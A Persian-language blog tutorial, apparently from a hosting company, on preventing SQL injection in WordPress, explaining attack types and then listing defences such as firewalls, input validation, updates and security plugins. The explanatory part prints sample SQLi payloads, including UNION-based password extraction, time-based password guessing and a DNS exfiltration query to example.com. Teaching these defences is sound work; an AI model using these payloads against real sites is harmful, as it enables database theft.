نحوه جلوگیری از تزریق SQL وردپرس (9 روش)

یکی از مهم ترین عوامل در توسعه یک وب سایت امنیت آن است. اگر سایت شما تزریق SQL وردپرس را تجربه کند، هکرها می توانند به اطلاعات حساس موجود در پایگاه داده شما دسترسی پیدا کنند و از آنها سوء استفاده کنند.

خوشبختانه، جلوگیری از حملات تزریق SQL ساده‌تر از آن چیزی است که فکر می‌کنید. اگر نرم افزار خود را به روز کنید، فایروال را پیاده سازی کنید یا افزونه امنیتی وردپرس را نصب کنید، می توانید به راحتی از سایت خود محافظت کنید.

در این پست توضیح خواهیم داد که تزریق SQL چیست و چگونه ممکن است رخ دهد. سپس، ما به شما نشان خواهیم داد که چگونه حملات تزریق SQL را در وردپرس متوقف کنید. بیا شروع کنیم!

مقدمه ای بر تزریق SQL

قبل از اینکه به تزریق SQL بپردازیم، مهم است که بدانیم SQL چیست. به طور خلاصه، زبان پرس و جو ساختاریافته (SQL) یک زبان برنامه نویسی است که برای تعامل با پایگاه های داده استفاده می شود.

در وردپرس، می توانید از پرس و جوهای SQL برای درخواست داده از پایگاه داده MySQL خود استفاده کنید. می توانید جداول را تغییر دهید، داده های جدید اضافه کنید و نتایج داده ها را با دستورات مختلف مرتب کنید.

در تزریق SQL (SQLi)، کدهای مخرب به یک برنامه وب تزریق می شود. با استفاده از عبارات مضر SQL، مهاجمان می توانند به داده های موجود در پایگاه داده دسترسی پیدا کرده و حتی آن ها را از بین ببرند.

حملات تزریق SQL از اواخر دهه 90 رخ داده است و همچنان یک مشکل رایج است. در سال 2021، این تکنیک سوم شد روی لیستی از ده نفر برتر خطرات امنیتی برنامه های وب.

اگرچه این یک مشکل مهم است، بسیاری از وب سایت ها اقدامات موثری را برای جلوگیری از حملات تزریق SQL اجرا نمی کنند. این منجر به چندین مورد نقض داده ها شده است روی یک مقیاس بزرگ به عنوان مثال، دانشگاه استنفورد تجربه یک حمله سایبری در سال 2020 که داده های بسیاری از دانش آموزان را به خطر انداخت.

در نهایت، تزریق SQL وردپرس می تواند عواقب فاجعه باری برای وب سایت شما داشته باشد. از آنجایی که نمی‌خواهید داده‌هایتان در دستان اشتباه باشد، بسیار مهم است که امنیت آنلاین خود را تا حد امکان افزایش دهید.

روش عملکرد تزریق SQL وردپرس

حملات تزریق SQL را می توان به روش های مختلفی انجام داد. آنها می توانند شامل موارد زیر باشند:

  • بازیابی غیرمجاز داده ها. مهاجمان می توانند یک کوئری SELECT را برای گرفتن داده ها دستکاری کنند وdump” محتویات یک پایگاه داده
  • اصلاح داده ها. SQLi را می توان برای تغییر ورودی های پایگاه داده یا تغییر مجوزهای حساب استفاده کرد.
  • انکار سرویس (DoS). حملات DoS بازدید از وب سایت شما را برای کاربران واقعی دشوار می کند. مهاجمان این کار را با حذف انبوه محتوای پایگاه داده شما انجام می دهند.

به احتمال زیاد، شما احتمالا یک فرم دارید روی وب سایت شما که اطلاعات بازدیدکنندگان را جمع آوری می کند. هکرها می توانند از این برای دور زدن اقدامات امنیتی برنامه وب شما استفاده کنند.

اگر از کاربر برای ورودی بخواهید، مانند نام کاربری، رمز عبور یا شماره تلفن، در عوض می‌تواند یک دستور SQL مخرب به شما بدهد. این ناخودآگاه اجرا خواهد شد روی پایگاه داده شما، به طور بالقوه داده های سایت شما را در معرض دید قرار می دهد.

در اینجا چند نقطه ورودی رایج برای حملات SQLi آمده است:

  • فرم های ثبت نام
  • فرم های ورود
  • فیلدهای بازخورد
  • چرخ دستی های خرید
  • فرم های تماس

برای انتخاب یک کاربر خاص با شناسه کاربری معین، در اینجا مثالی از یک دستور SQL معمولی آورده شده است:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

بدون هیچ گونه دستورالعمل ورودی کاربر، مهاجمان SQLi می توانند این عبارت را تغییر دهند:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

با این کار تمام سطرها از «کاربران» جدول، اطلاعات بازدیدکنندگان شما را در معرض نمایش قرار می دهد. به طور بالقوه، مهاجمان می توانند به رمزهای عبور نیز دسترسی داشته باشند:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;

با استفاده از تزریق SQL، هکرها می توانند نام کاربری و رمز عبور وب سایت شما را کشف کنند. هنگام اجرای یک سایت تجارت الکترونیک، این طرف های مخرب می توانند جزئیات پرداخت مشتریان و سایر اطلاعات حساس را فاش کنند و شهرت آنلاین شما را از بین ببرند.

انواع حملات تزریق SQL

اکنون که در مورد تزریق SQL و روش عملکرد آن می دانید، اجازه دهید راه های مختلفی را که می توان آن را اجرا کرد، مورد بحث قرار دهیم. به این ترتیب، بهتر می توانید برای اجتناب از آنها آماده باشید.

SQLi درون باند

یک نمونه از حملات تزریق SQL SQLi درون باند است. در این روش، مهاجم می تواند از همان کانال برای درج کدهای مخرب و جمع آوری نتایج استفاده کند.

از آنجایی که SQLi درون باند ساده و کارآمد است، یک نوع محبوب تزریق SQL است. با این حال، دو نوع SQLi درون باند وجود دارد – مبتنی بر خطا و مبتنی بر اتحادیه.

SQLi مبتنی بر خطا

حمله تزریق SQL مبتنی بر خطا تکنیکی است که پایگاه داده را مجبور به تولید می کند پیغام خطا. این برای به دست آوردن اطلاعات در مورد ساختار پایگاه داده استفاده می شود.

مهاجمان می توانند با استفاده از دستور SQL در پارامتر فیلد ورودی به این امر دست یابند. این می تواند یک نقل قول واحد، مظنه مضاعف یا عملگرهایی مانند AND، OR، یا NOT باشد.

به عنوان مثال، URL یک سایت می تواند پارامتری را از بازدیدکنندگان بگیرد:

https://www.example.org/index.php؟item=123

در این مورد، مهاجمان ممکن است یک نقل قول در انتهای پارامتر اضافه کنند:

https://www.example.org/index.php؟item=123′

این می تواند خطایی حاوی اطلاعات حساس را برگرداند:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.

در اینجا اطلاعاتی است که یک مهاجم می تواند از این خطا به دست آورد:

  • تایید اینکه پایگاه داده از MySQL استفاده می کند
  • نحو خاصی که باعث ایجاد خطا شد
  • مکان در پرس و جو که در آن خطا رخ داده است

پس از دریافت این خطا، مهاجمان SQLi متوجه می شوند که پایگاه داده شما ناامن است. این می تواند آنها را قادر سازد تا حملات تزریق دیگری را برای به دست آوردن داده های حساس تر برنامه ریزی کنند. حتی ممکن است از دستوری مانند استفاده کنند grep extract برای خودکارسازی گزینه‌های نحو SQL برای یافتن خطاهای اضافی.

SQLi مبتنی بر اتحادیه

حمله تزریق SQL مبتنی بر اتحادیه تکنیکی است که از عملگر UNION SQL برای ترکیب دو یا چند عبارت SELECT در یک پاسخ HTTP استفاده می کند. این پاسخ می تواند حاوی داده های حساسی باشد که می تواند مورد سوء استفاده قرار گیرد.

اساساً، مهاجمان از کلمه کلیدی SQL UNION برای به دست آوردن داده های اضافی نسبت به آنچه در یک پرس و جو اولیه بازیابی شده است استفاده می کنند. این کلمه کلیدی هکرها را قادر می سازد تا کوئری های SELECT اضافی را به عبارت اصلی اضافه کنند.

در اینجا روش اجرای آن آمده است:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

این پرس و جو مقادیر دو ستون را به یک مجموعه نتیجه برمی گرداند. این شامل مقادیر ستون های A و B در یک جدول و همچنین ستون های C و D در جدول دیگر خواهد بود.

برای اینکه این SQLi کار کند، باید چند الزام وجود داشته باشد:

  • هر کوئری باید همان تعداد ستون را برگرداند.
  • نوع داده هر ستون باید با پرس و جوها سازگار باشد.

اگر این دو عامل برآورده شوند، مهاجمان می توانند نتایج را از پرس و جوی تزریق شده خود بازیابی کنند. پس از تعیین تعداد ستون های مورد نیاز و نوع داده های کاربر، هکرهای SQLi می توانند محتوا را از جداول پایگاه داده شما بازیابی کنند.

به عنوان مثال، پرس و جو اصلی ممکن است دو ستون با داده های رشته ای را برگرداند. اگر این ستون‌ها برای نام‌های کاربری و رمز عبور هستند، مهاجمان می‌توانند این ورودی را ارسال کنند:

' UNION SELECT username, password FROM users–

همانطور که می توانید تصور کنید، این نتایج پرس و جو می تواند عواقب فاجعه باری داشته باشد. هنگامی که این اتفاق می افتد، اطلاعات شخصی روی وب سایت شما به روش های مختلفی قابل دسترسی و بهره برداری است.

SQLi استنباطی

تزریق استنباطی SQL معمولاً به عنوان SQLi کور نامیده می شود. برخلاف حملات درون باند، هیچ داده ای بین برنامه و هکر منتقل نمی شود. در عوض، مهاجم چندین پرس و جو را به پایگاه داده ارسال می کند تا رفتار پاسخ ها را مشاهده کند.

به طور خلاصه، SQLi استنتاجی شامل ارزیابی ساختار یک پایگاه داده با توجه به روش پاسخ آن به بارهای داده خاص است. مهاجمان می توانند این کار را با استفاده از تکنیک های تزریق SQL مبتنی بر بولی و مبتنی بر زمان انجام دهند.

SQLi مبتنی بر بولی

یکی از انواع SQLi استنباطی، روش تزریق مبتنی بر بولی است. مهاجم پایگاه داده را با سوالات TRUE یا FALSE پرس و جو می کند و پاسخ را ارزیابی می کند. اغلب، این تکنیک زمانی استفاده می شود که برنامه فقط پیام های خطای عمومی را نمایش می دهد.

SQLi مبتنی بر Boolean زمان بسیار بیشتری برای رسیدن به هدف خود نیاز دارد. از آنجایی که پایگاه داده داده ها را به وب خروجی نمی دهد page، مهاجم با در نظر گرفتن پاسخ به سؤالات TRUE یا FALSE داده ها را سرقت می کند. این می تواند به آنها اطلاع دهد که آیا پایگاه داده در برابر تزریق SQL آسیب پذیر است.

به عنوان مثال، هکرها می توانند یک پرس و جو مخرب را تزریق کنند که نتیجه FALSE را برمی گرداند:

http://example.com/items.php؟id=2 and 1=2

اگر برنامه نتیجه ای را برنگرداند، احتمالاً در برابر تزریق SQL آسیب پذیر است. برای اطمینان، مهاجمان معمولا پرس و جوهایی را تزریق می کنند که نتیجه TRUE را برمی گرداند:

http://newspaper.com/items.php؟id=2 and 1=1

زمانی که محتوا برای هر پاسخ متفاوت باشد، مهاجم می تواند بین بازگشت های TRUE و FALSE تمایز قائل شود. این می تواند آنها را قادر به سوء استفاده از پایگاه داده باشد.

پیشنهاد می‌کنیم بخوانید:  بایگانی VPS

SQLi مبتنی بر زمان

راه دیگر برای تعیین اینکه آیا پایگاه داده در برابر SQLi آسیب پذیر است یا خیر، استفاده از یک حمله مبتنی بر زمان است. این نوع تزریق باعث تاخیر قبل از اجرای کوئری ها می شود.

مستقر روی در زمان پاسخ، مهاجمان می توانند درست یا نادرست بودن نتیجه را ارزیابی کنند. دانستن این اطلاعات می تواند به آنها اجازه دهد تا کوئری های اضافی را اجرا کنند.

اگر یک حمله مبتنی بر زمان انجام شود روی یک پایگاه داده MySQL، احتمالاً از تابع خواب استفاده می کند. این به پایگاه داده دستور می دهد تا اجرا را برای مدت معینی به تاخیر بیندازد:

select * from comments
WHERE post_id=1-SLEEP(15);

هنگامی که پاسخ با موفقیت به تاخیر افتاد، مهاجم می تواند بداند که تزریق SQL امکان پذیر است. این تایید می کند که سرور یک پایگاه داده MySQL است که منجر به تزریق بار پیچیده تر می شود.

به عنوان مثال، مهاجمان می توانند از این تاخیر برای تایید داده ها در پایگاه داده استفاده کنند. آنها می توانند هر حرف را با توقف پایگاه داده برای مدت زمان مشخصی شمارش کنند.

برای پایگاه‌های داده MySQL، می‌توانید عملیات BENCHMARK() را پیاده‌سازی کنید تا در صورت درست بودن عبارت، پاسخ‌ها را به تأخیر بیندازید. در اینجا یک مثال از روش کار این است:

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

اگر تاخیر قابل توجهی در پاسخ وجود داشته باشد، مهاجمان می توانند فرض کنند که اولین کاراکتر رمز عبور برای user_id = 1 کاراکتر “2” است. با استفاده از این روش، آنها می توانند هر رمز عبور ذخیره شده در پایگاه داده شما را شمارش کنند.

SQLi خارج از باند

SQLi خارج از باند به این معنی است که مهاجم نمی تواند پاسخی از تزریق دریافت کند روی همان کانالی که درخواست کرد در عوض، آنها می توانند برنامه را مجبور کنند که داده های درخواستی را به یک نقطه پایانی کنترل شده از راه دور ارسال کند.

اغلب، تزریق SQL خارج از باند می تواند جایگزین موثری برای حملات استنتاجی باشد. با این حال، این تکنیک تنها در صورتی امکان پذیر است که سرور دستوراتی داشته باشد که درخواست های DNS یا HTTP را راه اندازی کند. خوشبختانه، این مورد در سرورهای محبوب SQL رایج است.

سرور MySQL 5.5.52 و پایین تر به طور خودکار با خالی شروع می شود safe_file_priv متغیر سیستم جهانی در این حالت، مهاجمان خارج از باند می‌توانند داده‌ها را استخراج کرده و درخواستی برای یک نام دامنه ایجاد کنند. load_file تابع. با این کار داده های استخراج شده در درخواست بازیابی می شود.

هکرها می توانند این کار را با اجرای این کوئری SQL انجام دهند:

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))

در نتیجه، برنامه یک درخواست DNS به دامنه ارائه شده ارسال می کند. این می‌تواند جزئیات حساسی مانند نسخه پایگاه داده، نام‌های کاربری و رمزهای عبور شما را فاش کند.

حملات تزریق SQL وردپرس چقدر رایج است

اگر در حال ساخت یک سایت وردپرس هستید، باید بدانید که آیا نگران تزریق SQL باشید یا خیر. متأسفانه، SQLi یک روش نسبتاً رایج برای هکرها برای به خطر انداختن این سیستم مدیریت محتوا (CMS) است.

با توجه به iThemes گزارش آسیب پذیری وردپرسحملات تزریق SQL 9.3 درصد از تمام تهدیدات امنیتی را در سال 2021 تشکیل می دادند. اگرچه عواملی مانند اسکریپت نویسی بین سایتی و درخواست های جعل بین سایتی رایج تر بودند، ضروری است که تهدیدات SQLi را نادیده نگیرید.

وردپرس تمام اطلاعات وب سایت شما را در یک پایگاه داده SQL ذخیره می کند. این شامل نظرات، پست‌ها، اطلاعات مشتری و موارد دیگر می‌شود. به علاوه، وردپرس اجرا می شود روی PHP که با SQL ادغام می شود. از آنجایی که SQL بخشی جدایی ناپذیر از وردپرس است، می تواند شما را در برابر حملات تزریق SQL آسیب پذیر کند.

معمولا تزریق SQL وردپرس از طریق فرم ها اجرا می شود. مهاجمان می توانند از این موضوع سوء استفاده کنند process هنگامی که کاربران داده ها را به یک اسکریپت PHP حاوی یک پرس و جوی SQL ارسال می کنند. به عنوان یک صاحب وب سایت وردپرس، مهم است که امنیت خود را برای جلوگیری از این مشکل به حداکثر برسانید.

بنر میزبانی وردپرسبنر میزبانی وردپرس
روش جلوگیری از تزریق SQL وردپرس (9 روش) 48

روش توقف تزریق SQL در وردپرس (9 روش)

اگر وب‌سایت شما دارای آسیب‌پذیری تزریق SQL باشد، مهاجمان می‌توانند به داده‌های پایگاه داده شما دسترسی پیدا کرده، تغییر دهند یا حذف کنند. خوشبختانه، شما می توانید چندین روش امنیتی برای افزایش امنیت وردپرس و جلوگیری از حمله SQL پیاده سازی کنید.

1. یک فایروال را پیاده سازی کنید

یکی از بهترین راه ها برای ایمن سازی وب سایت خود در برابر SQLi، راه اندازی فایروال برنامه وب (WAF) است. فایروال یک سیستم امنیتی است که ترافیک شبکه را کنترل می کند و فعالیت های مشکوک را مسدود می کند. می تواند سایت شما را از تزریق SQL و همچنین جعل بین سایتی، اسکریپت بین سایتی، گنجاندن فایل و موارد دیگر محافظت کند.

Cloudflare یک سرویس رایگان است که یک فایروال برنامه وب قدرتمند برای وب سایت شما فراهم می کند. این ابزار می تواند به طور خودکار چندین گونه از حملات SQLi را شناسایی کند.

خانه فایروال برنامه وب Cloudflare pageخانه فایروال برنامه وب Cloudflare page

2. پیشوند پایگاه داده وردپرس را تغییر دهید

هنگامی که برای اولین بار وردپرس را نصب می کنید، پیشوند پایگاه داده به طور خودکار روی تنظیم می شود “wp_.” این گزینه پیش فرض می تواند دسترسی هکرها به داده های شما را آسان تر کند. بدون تنظیم مجدد پیشوند، مهاجمان به راحتی می توانند جداول پایگاه داده شما را حدس بزنند.

شما می توانید به سرعت پیشوند پایگاه داده خود را تغییر دهید، اما به یاد داشته باشید که ابتدا از سایت وردپرس خود نسخه پشتیبان تهیه کنید:

  1. اگر شما یک هاستینگer حساب کاربری، وارد داشبورد hPanel شوید و حساب کاربری خود را باز کنید مدیر فایل.
داشبورد hPanel، مدیر فایل هایلایت شده استداشبورد hPanel، مدیر فایل هایلایت شده است
  1. کلیک روی را public_html پوشه را باز کنید و wp-config.php فایل.
فایل wp-config.php on Hostingerمدیر فایلفایل wp-config.php on Hostingerمدیر فایل
  1. مقدار table_prefix $ را جستجو کنید. این باید روی “wp_” تنظیم شود.
جستجوی مقدار table_prefix $ در فایل wp-config.phpجستجوی مقدار table_prefix $ در فایل wp-config.php
  1. می توانید این پیشوند را حذف کرده و یک پیشوند جدید وارد کنید. مطمئن شوید که فقط از ترکیبی از حروف، اعداد و زیرخط استفاده کنید. در آخر فایل را ذخیره کرده و ببندید.
  2. به hPanel برگردید و آن را پیدا کنید پایگاه های داده بخش. سپس، کلیک کنید روی phpMyAdmin.
دکمه phpMyAdmin در قسمت Databases در hPanelدکمه phpMyAdmin در قسمت Databases در hPanel
  1. در بعدی page، انتخاب کنید phpMyAdmin را وارد کنید. با این کار پایگاه داده سایت شما باز می شود.
PHP My Admin page نمایش لیستی از پایگاه های داده فعلیPHP My Admin page نمایش لیستی از پایگاه های داده فعلی
  1. در phpMyAdmin، کلیک کنید روی را SQL برگه برای تغییر پیشوند پایگاه داده خود، این عبارت را در کادر متنی وارد کنید:
RENAME table `wp_tablename` TO `wp_1secure1_tablename`;

حتما عوض کن “wp_tablename” به نام جدول فعلی شما سپس، “wp_1secure1_tablename” باید پیشوند و نام جدول جدید شما را داشته باشد.

تغییر مقادیر wp_tablename و wp_1secure1_tablename on phpMyAdminتغییر مقادیر wp_tablename و wp_1secure1_tablename on phpMyAdmin
  1. شما باید این کد را برای هر جدولی که می خواهید تغییر نام دهید، تکرار کنید. وقتی کارتان تمام شد، انتخاب کنید برو.

علاوه بر این، ممکن است مجبور شوید برخی از مقادیر پیشوند را به صورت دستی به روز کنید. در این مورد، می توانید مقادیر خود را فیلتر کنید تا تمام نمونه های پیشوند قدیمی را پیدا کنید:

SELECT * FROM `wp_1secure1_tablename` WHERE `field_name` LIKE '%wp_%'

سپس، می توانید هر نتیجه را طوری ویرایش کنید که حاوی مقدار پیشوند جدید باشد. این باید به طور کامل پیشوند “wp_” را از پایگاه داده شما حذف کند.

3. ورودی های کاربر را تأیید کنید

همانطور که قبلا ذکر شد، هکرها معمولا حملات SQLi را با بهره برداری از داده های ارسال شده توسط کاربر اجرا می کنند. بنابراین، مهم است که تمام فیلدهای ورودی را ایمن کنید روی وب سایت شما، از جمله فرم ها و بخش نظرات.

شما می توانید هر دستوری را که توسط کاربران ارسال شده است فیلتر کنید اعتبار سنجی ورودی و ضدعفونی کردن شما می توانید به طور موثر از وب سایت خود در برابر تزریق SQL محافظت کنید و مطمئن شوید که این کدها دارای رشته های کاراکتر اضافی یا کدهای مخرب نیستند.

برای ایجاد اعتبارسنجی ورودی برای فرم‌های خود، قوانینی را برای ورودی‌های کاربر ایجاد می‌کنید. اگر از فرم ساز استفاده می کنید مانند فرم های قدرتمند، می توانید ایجاد کنید فرمت ماسک ورودی. این ورود به مجموعه خاصی از نمادها را محدود می کند.

ایجاد فرمت ماسک ورودی on فرم های قدرتمندایجاد فرمت ماسک ورودی on فرم های قدرتمند

همچنین می‌توانید فقط منوهای کشویی و گزینه‌های چندگزینه را در نظر بگیرید. اجتناب از جعبه های متن می تواند مانع از سوء استفاده هکرها از داده های فرم شما شود.

اعتبار سنجی داده ها را می توان با استفاده از توابع نیز انجام داد. اگر می‌خواهید ارسال‌ها را فقط به کدهای پستی معتبر ایالات متحده محدود کنید، این تابعی است که می‌توانید استفاده کنید:

/**
 * Validate a US zip code.
 *
 * @param string $zip_code   RAW zip code to check.
 *
 * @return bool          	true if valid, false otherwise.
 */
function wporg_is_valid_us_zip_code( $zip_code ) {
    // Scenario 1: empty.
    if ( empty( $zip_code ) ) {
        return false;
    }
 
    // Scenario 2: more than 10 characters.
    if ( 10 < strlen( trim( $zip_code ) ) ) {
        return false;
    }
 
    // Scenario 3: incorrect format.
    if ( ! preg_match( '/^\d{5}(\-?\d{4})?$/', $zip_code ) ) {
        return false;
    }
 
    // Passed successfully.
    return true;
}

این کد فیلد wporg_zip_code را برای هر ارسال بر اساس ارزیابی می کند روی این قوانین از پیش تعیین شده سپس، این عمل را فقط با یک کد پستی معتبر انجام می دهد:

if ( isset( $_POST['wporg_zip_code'] ) && wporg_is_valid_us_zip_code( $_POST['wporg_zip_code'] ) ) {
    // your action
}

برای تمیز کردن بیشتر داده‌های ارسالی توسط کاربر، می‌توانید هر ورودی را تمیز کنید. اگر می خواهید یک آدرس ایمیل را ضد عفونی کنید، می توانید از عملکرد زیر استفاده کنید:

function sanitize_email( $email ) {
    // Test for the minimum length the email can be.
    if ( strlen( $email ) < 6 ) {

اگر کاراکترهای اضافی در یک آدرس ایمیل استاندارد گنجانده نشده باشد، آنها را از بین می برد. سپس، فقط موارد ارسالی آدرس ایمیل معتبر و سالم را دریافت خواهید کرد.

4. به روز رسانی های مکرر را انجام دهید

هنگام تلاش برای ایمن سازی وب سایت خود، از به روزترین نرم افزار استفاده کنید. اغلب، نرم افزارهای اصلی قدیمی، تم ها و افزونه ها می توانند سایت شما را آسیب پذیر کنند. استفاده از نسخه قدیمی وردپرس احتمالاً دارای شکاف های امنیتی است که می توان از آنها سوء استفاده کرد.

برای بررسی به‌روزرسانی‌های جدید، داشبورد خود را باز کرده و کلیک کنید روی را به روز رسانی ها برگه در اینجا می توانید وب سایت خود را به آخرین نسخه وردپرس به روز کنید.

در حال بررسی آخرین نسخه وردپرس با دکمه به‌روزرسانی به نسخه 6.0.2در حال بررسی آخرین نسخه وردپرس با دکمه به‌روزرسانی به نسخه 6.0.2

همچنین می‌توانید به‌روزرسانی‌ها را برای پلاگین‌ها و تم‌ها اجرا کنید. با این حال، اگر نمی‌خواهید هر افزونه را به‌صورت دستی به‌روزرسانی کنید، می‌توانید به‌روزرسانی‌های خودکار را فعال کنید روی وبسایت شما. برای انجام این کار، به آدرس خود بروید پلاگین ها page. سپس، انتخاب کنید به روز رسانی خودکار را فعال کنید روی سمت راست هر افزونه

به روز رسانی خودکار برای پلاگین ها و تم ها on وردپرسبه روز رسانی خودکار برای پلاگین ها و تم ها on وردپرس

همچنین می توانید به طور خودکار نرم افزار اصلی وردپرس را به روز کنید. این به سادگی شامل اضافه کردن مقداری کدنویسی به شما است wp-config.php فایل:

define('WP_AUTO_UPDATE_CORE', true);

اکنون می توانید اطمینان حاصل کنید که سایت شما همیشه از جدیدترین نرم افزار استفاده می کند. با وصله‌های امنیتی جدید و رفع اشکال، دیگر نگران آسیب‌پذیری‌های کدنویسی خود نخواهید بود.

پیشنهاد می‌کنیم بخوانید:  بایگانی VPS

5. یک افزونه وردپرس SQL Injection نصب کنید

اغلب، یکی از ساده‌ترین راه‌ها برای جلوگیری از تزریق SQL، نصب یک افزونه امنیتی وردپرس است. به عنوان یک مبتدی، این می تواند به طور موثر از وب سایت شما بدون نیاز به ویرایش کد یا انجام سایر کارهای پیشرفته محافظت کند.

بیایید به برخی از قدرتمندترین افزونه های امنیتی نگاه کنیم روی بازار.

سوکوری

Sucuri Security یکی از محبوب ترین افزونه های امنیتی است که بیش از 800000 نصب فعال دارد. این ابزار می تواند با استفاده از اسکن بدافزار، اعلان های امنیتی و فایروال از وب سایت شما در برابر SQLi محافظت کند.

بنر وب امنیتی Securiبنر وب امنیتی Securi

امکانات:

  • اسکن بدافزار از راه دور
  • نظارت بر یکپارچگی فایل
  • ممیزی فعالیت های امنیتی
  • اقدامات امنیتی پس از هک

حتی با نسخه اصلی وردپرس، می توانید گزارش های حسابرسی امنیتی را برای وب سایت خود مشاهده کنید. Sucuri فایل های اصلی شما را اسکن می کند، هر گونه فعالیت مشکوک را یادداشت می کند و اقدامات خاصی را برای بهبود امنیت شما توصیه می کند:

افزونه وردپرس امنیتی Securiافزونه وردپرس امنیتی Securi

یکی از مشخص ترین ویژگی های Sucuri فایروال آن است. این کار تمام ترافیک HTTP و HTTPS را قبل از تماس با سرور شما بررسی می کند. با تشخیص امضای با کیفیت بالا، Sucuri می‌تواند هرگونه درخواست مخرب را قبل از اینکه آسیبی ایجاد کند، مسدود کند.

نسخه پریمیوم Sucuri می تواند حذف نامحدود بدافزار توسط کارشناسان امنیتی خود را ارائه دهد. همچنین به اسکن های امنیتی پیشرفته، کاهش DDoS و شبکه تحویل محتوا (CDN) دسترسی خواهید داشت.

قیمت گذاری: Sucuri Security یک افزونه رایگان وردپرس است. با این حال، اگر می‌خواهید به فایروال برنامه کاربردی وب دسترسی داشته باشید، باید a طرح حق بیمه شروع در 199.99 دلار در سال.

MalCare

یکی دیگر از ابزارهای پیشگیری موثر SQLi این است MalCare. این افزونه وردپرس می تواند یک اسکن عمیق برای بدافزار انجام دهد روی وب سایت شما و هر گونه آسیب پذیری به شما هشدار می دهد. با MalCare، می توانید به طور خودکار سایت خود را تمیز کنید و از بسیاری از مسائل امنیتی وردپرس که منجر به تزریق SQL می شود جلوگیری کنید.

وب بنر پلاگین امنیتی وردپرس MalCareوب بنر پلاگین امنیتی وردپرس MalCare

امکانات:

  • اسکنر بدافزار مبتنی بر ابر
  • هشدارهای خطر امنیتی
  • حذف بدافزار با یک کلیک
  • ترافیک مخرب را شناسایی و مسدود می کند

پس از نصب نسخه رایگان، می‌توانید حفاظت بلادرنگ در برابر بدافزار را تنظیم کنید. MalCare در ابتدا وب سایت شما را اسکن می کند و به شما وضعیت امنیتی می دهد. سپس به انجام اسکن روزانه بدافزار ادامه خواهد داد.

داشبورد افزونه امنیتی وردپرس MalCareداشبورد افزونه امنیتی وردپرس MalCare

برخلاف Sucuri، MalCare یک فایروال رایگان پیاده سازی می کند روی وبسایت شما. این می تواند تزریق SQL و همچنین حملات اسکریپت بین سایتی را مسدود کند. همچنین محافظت از ورود به سیستم را فراهم می کند و از سایت شما در برابر حملات brute-force محافظت می کند.

از آنجایی که داشبورد MalCare تجزیه و تحلیل را برای چندین سایت نمایش می دهد، این افزونه می تواند ابزار ارزشمندی برای توسعه دهندگان باشد. با گزارش‌های بی‌درنگ، می‌توانید به سرعت مشکلات امنیتی را ببینید و برطرف کنید.

قیمت گذاری: می توانید MalCare را به صورت رایگان دانلود کنید. اگر به یک پاک کننده خودکار بدافزار یا کمک کارشناسان امنیتی نیاز دارید، افزونه پریمیوم شروع میشود از 99 دلار در سال.

جت پک

جت پک اگر به دنبال یک افزونه همه کاره هستید که بتوانید از آن برای مدیریت عملکرد سایت خود استفاده کنید، می تواند گزینه موثری باشد. این ابزار به شما امکان می دهد امنیت را در کنار سرعت، بازاریابی و طراحی سایت افزایش دهید.

بنر وب پلاگین وردپرس Jetpackبنر وب پلاگین وردپرس Jetpack

امکانات:

  • پشتیبان گیری خودکار
  • اسکن بدافزار
  • پیشگیری از حمله نیروی بی رحم
  • نظارت بر زمان خاموشی

شما می توانید به طور مداوم وب سایت خود را برای تزریق احتمالی SQL با اسکن بدافزار نظارت کنید. به عنوان یک اقدام پیشگیرانه، می توانید از فایل های سایت خود نسخه پشتیبان تهیه کنید و پس از حمله به راحتی اطلاعات را بازیابی کنید.

Jetpack همچنین می‌تواند تحویل محتوای شما را بهبود بخشد زیرا با CDN رایگان ارائه می‌شود که به طور خودکار تصاویر شما را برای بارگذاری سریع بهینه می‌کند. به عبارت دیگر، شما از وب سایت خود در برابر SQLi محافظت می کنید و اطمینان حاصل می کنید که بازدیدکنندگان یک تجربه عالی دریافت می کنند روی وبسایت شما.

قیمت گذاری: Jetpack به عنوان یک افزونه رایگان وردپرس در دسترس است. امنیت جت پک شروع میشود از 10 دلار در ماه برای شناسایی بدافزار در زمان واقعی و تهیه نسخه پشتیبان.

6. محدودیت دسترسی کاربر

در وردپرس می‌توانید نقش‌های مختلف کاربری را تعیین کنید. به‌عنوان سرپرست، همچنین می‌توانید به شخصی اجازه دهید ویرایشگر، نویسنده، مشارکت‌کننده، مشترک، مدیر یا Super Admin شود.

با این حال، اغلب بهتر است تعداد کاربرانی که به وب سایت شما دسترسی دارند محدود کنید. این می تواند به شما در کاهش احتمال حمله تزریق SQL وردپرس کمک کند.

  1. رفتن به کاربران → همه کاربران در داشبورد وردپرس خود برای مدیریت کاربران و نقش آنها. وقتی کاربری انتخاب شد، کلیک کنید روی ویرایش کنید.
ویرایش همه کاربران در داشبورد وردپرسویرایش همه کاربران در داشبورد وردپرس
  1. سپس، پیدا کنید نقش تنظیمات. در اینجا، می توانید سطح کنترل کاربر را محدود کنید روی وبسایت شما. اگر آنها یک مدیر هستند، می توانید آنها را به یک مشارکت کننده، نویسنده یا ویرایشگر تنزل دهید.
تنظیمات نقش داشبورد وردپرستنظیمات نقش داشبورد وردپرس

اگر کاربر در حال حاضر در محتوای شما مشارکت نمی کند، می توانید آن را به طور کامل حذف کنید. این می تواند آسیب پذیری های احتمالی را از بین ببرد و وب سایت شما را بیشتر ایمن کند.

7. عملکرد غیر ضروری پایگاه داده را حذف کنید

اگر می خواهید شانس حمله تزریق SQL را محدود کنید، می توانید پایگاه داده خود را عادی سازی کنید. با حذف توابع غیر ضروری و محتوای نامربوط می توانید پایگاه داده خود را کمتر آسیب پذیر کنید.

تمیز کردن پایگاه داده شما معمولاً شامل سازماندهی داده ها، حذف افزونگی ها و اطمینان از منطقی بودن وابستگی های داده است. برای این کار می توانید افزونه ای مانند نصب کنید WP-Optimize.

وب بنر افزونه وردپرس WP-Optimizeوب بنر افزونه وردپرس WP-Optimize

